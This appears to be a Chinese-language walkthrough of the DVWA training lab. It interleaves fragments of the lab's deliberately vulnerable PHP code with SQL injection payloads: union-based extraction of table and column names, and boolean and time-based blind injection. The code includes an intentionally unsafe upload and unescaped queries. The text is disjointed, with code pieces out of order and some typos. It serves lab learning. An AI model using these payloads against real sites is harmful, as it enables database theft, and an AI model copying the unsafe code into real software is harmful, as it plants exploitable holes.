// Check the database (Check user information) $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch();
// Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // User locked out. Note, using this method would allow for user enumeration! //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time();
/* print "The last login was: " . date ("h:i:s", $last_login) . "<br />"; print "The timenow is: " . date ("h:i:s", $timenow) . "<br />"; print "The timeout is: " . date ("h:i:s", $timeout) . "<br />"; */
// Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked<br />"; } }
// Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch();
// If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ];
// Login successful echo"<p>Welcome to the password protected area <em>{$user}</em></p>"; echo"<img src=\"{$avatar}\" />";
// Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo"<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; echo"<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; }
// Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) );
// Give the user some feedback echo"<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); }
// Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); }
可以看到在该级别中加入了可靠的防爆破机制,当检测到频繁的错误登录之后,系统会将账户锁定,爆破也就无法继续。如果能将爆破字典浓缩在错误次数以内还是可以进行爆破的,但基本上盲破的话无法浓缩这么小的字典。同时在服务器端采用了PDO(PHP Data Object)机制防御sql注入,PDO是PHP中一个轻量级的、具体兼容接口的PHP数据连接拓展,在php5.1以后的版本中的可以进行使用。PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过sql语句结构执行恶意的sql命令。
// Feedback for the end user echo"<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo'<pre>ERROR: You have entered an invalid IP.</pre>'; } }
// Feedback for the user echo"<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo"<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo"<pre>That request didn't look correct.</pre>"; }
// Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr );
// Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
// Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
// Feedback for the user echo"<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo"<pre>Passwords did not match or current password incorrect.</pre>"; } }
if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo'<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo"<pre>{$target_path} succesfully uploaded!</pre>"; } }
// Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo'<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo"<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
// Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo'<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo"<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img );
// Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo"<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo'<pre>Your image was not uploaded.</pre>'; }
// Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
// Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key'], $_POST['g-recaptcha-response'] );
// Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo" <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } }
// Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Feedback for the end user echo"<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo"<pre>Passwords did not match.</pre>"; $hide_form = false; }
// Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] );
// Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo" <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } }
// Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; }
// Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Feedback for the end user echo"<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo"<pre>Passwords did not match.</pre>"; $hide_form = false; }
// Get input $pass_new = $_POST[ 'password_new' ]; $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ]; $pass_conf = stripslashes( $pass_conf ); $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] );
// Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly echo"<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
// Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
// Feedback for the end user - success! echo"<pre>Password Changed.</pre>"; } else { // Feedback for the end user - failed! echo"<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; $hide_form = false; } } }
// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
}
// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) ordie( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];
You have an errorin your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'or1=1#' at line 1
于是更改为1 or 1=1#后查询成功,说明存在数字型注入,由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。
2.猜解sql查询语句中的字段数
将id改为1 order by 1# 1 order by 2# 1 order by 3#(报错)
说明执行的sql查询语句中只有两个字段,即这里的First name、Surname。
3.确定显示字段的顺序
id=1 union select 1,2#
说明执行的SQL语句为select First name,Surname from 表 where ID=id…
4.获取当前数据库
id=-1 union select 1,database()#
获得数据库名dvwa
5.获取数据库中的表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
说明数据库dvwa中一共有两个表,guestbook与users。
6.获取users表中的字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#
查询失败,因为单引号被转义了,使用十六进制进行查询
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
// Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; }
id=1' and ascii(substr(database(),1,1))>97# //显示存在,说明数据库名的第一个字符的ascii值大于97(即a) id=1' and ascii(substr(database(),1,1))<122# //显示存在,说明数据库名的第一个字符的ascii值小于122(即z) id=1’ and ascii(substr(database(),1,1))<109# //显示存在,说明数据库名的第二个字符的ascii值小于109(即m) id=1' and ascii(substr(database(),1,1))<103# //显示存在,说明数据库名的第一个字符的ascii值小于103(即g) id=1' and ascii(substr(database(),1,1))<100# //显示不存在,说明数据库的第一个字符的ascii值不小于100(即d) id=1' and ascii(substr(database(),1,1))>100# //显示不存在,说明数据库的第一个字符的ascii值不大于100(即d),所以数据库名的第一个字符的ascii值为100,即小写字母d
id=1’ and ascii(substr(database(),2,1))>97# //显示存在,说明数据库名的第二个字符的ascii值大于97(即a) ......
重复上述步骤,就可猜解出完整的数据库名(dvwa)
3.猜解数据库名的表名
1 2
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# //显示不存在 id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# //显示存在
说明数据库中共有两个表,接着猜解每个表的表名:
1 2 3 4 5 6 7
id=1' andlength(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# //显示不存在 id=1' andlength(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2# //显示不存在 ... id=1' andlength(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# //显示存在,说明第一个表名长度为g
id=1' andlength(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1# //显示不存在 ......
重复上述步骤,即可猜解出两个表名(guestbook、users)。
4.猜测表中的字段名
首先猜解表中字段的数量
1 2 3
id=1' and (selectcount(column_name) from information_schema.columns where table_name='users')=1# //显示不存在 ... id=1' and (selectcount(column_name) from information_schema.columns where table_name='users')=8# //显示存在
说明users表有8个字段,接着挨个猜解字段名:
1 2 3 4 5 6
id=1'and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1# //显示不存在 ... id=1'and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7# //显示存在,说明users表的第一个字段为7个字符长度
id=1'and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=1# //显示不存在 ......
重复上述步骤,猜解所有字段名的长度
采用二分法,即可猜解出所有字段名。
1 2 3 4 5 6 7
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97# //显示不存在 ... id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>97# ...
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>97# .......
5.猜解数据
同样采用二分法
1 2
id=1' and ord(mid((selectifnull(cast(first_name aschar),0x20) from dvwa.users orderby user_id limit0,1),1,1))>97# //查看first_name列中第一行的第一个字符ascii是否大于97 ......
基于时间的盲注
1.判断是否存在注入,注入是字符型还是数字型
1 2
id=1' andsleep(5)# //明显延迟 id=1andsleep(5)# //没有延迟
说明存在字符型的基于时间的盲注
2.猜解当前数据库名
首先猜解数据名的长度
1 2 3 4
id=1' and if(length(database())=1,sleep(5),1)# 没有延迟 id=1' and if(length(database())=2,sleep(5),1)# 没有延迟 id=1' and if(length(database())=3,sleep(5),1)# 没有延迟 id=1' and if(length(database())=4,sleep(5),1)# 明显延迟
说明数据库名长度为4个字符。接着使用二分法猜解数据库名:
1 2 3 4 5 6
id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟 ... id=1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟 id=1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟 说明数据库名的第一个字符为小写字母d ...
重复上述步骤,即可猜解出数据库名
3.猜解数据库中的表名
首先猜解数据库中表的数量
1 2
id=1' andif((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)# 没有延迟 id=1' andif((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)# 明显延迟
说明数据库中有两个表,然后猜解表名
1 2 3
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)# 没有延迟 ... id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)# 明显延迟
说明第一个表的长度为9个字符
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的数量
1 2 3 4 5
id=1'and if((select count(column_name) from information_schema.columns where table_name='users')=1,sleep(5),1)# //没有延迟 ... id=1'and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)# //明显延迟
说明users表中有8个字段,接着猜解字段名:
1 2
id=1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1)# 没有延迟 id=1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1)# 明显延迟
if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; }
抓包改参数id=1andif(length(database())=4,sleep(5),1)# 明显延迟,说明数据库名的长度为4个字符 抓包改参数id=1andif(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)# 明显延迟,说明数据中的第一个表名长度为9个字符 抓包改参数id=1andif((select count(column_name) from information_schema.columns where table_name=0×7573657273)=8,sleep(5),1)# 明显延迟,说明users表有8个字段
抓包将cookie中参数id改为1' and length(database())=4# 显示存在,说明数据库名的长度为4个字符 抓包将cookie中参数id改为1' and length(substr((select table_name from information_schema.tables where tabke_schema=database() limit 0,1),1))=9# 显示存在,说明数据库中的第一个表名长度为9个字符 抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8# 显示存在,说明users表有8个字段
// Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();
// Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; } } }
XSS,全程Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,xss部基金限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型XSS。
// Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages switch ($_GET['default']) { case"French": case"English": case"German": case"Spanish": # ok break; default: header ("location: ?default=English"); exit; } }
?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> ';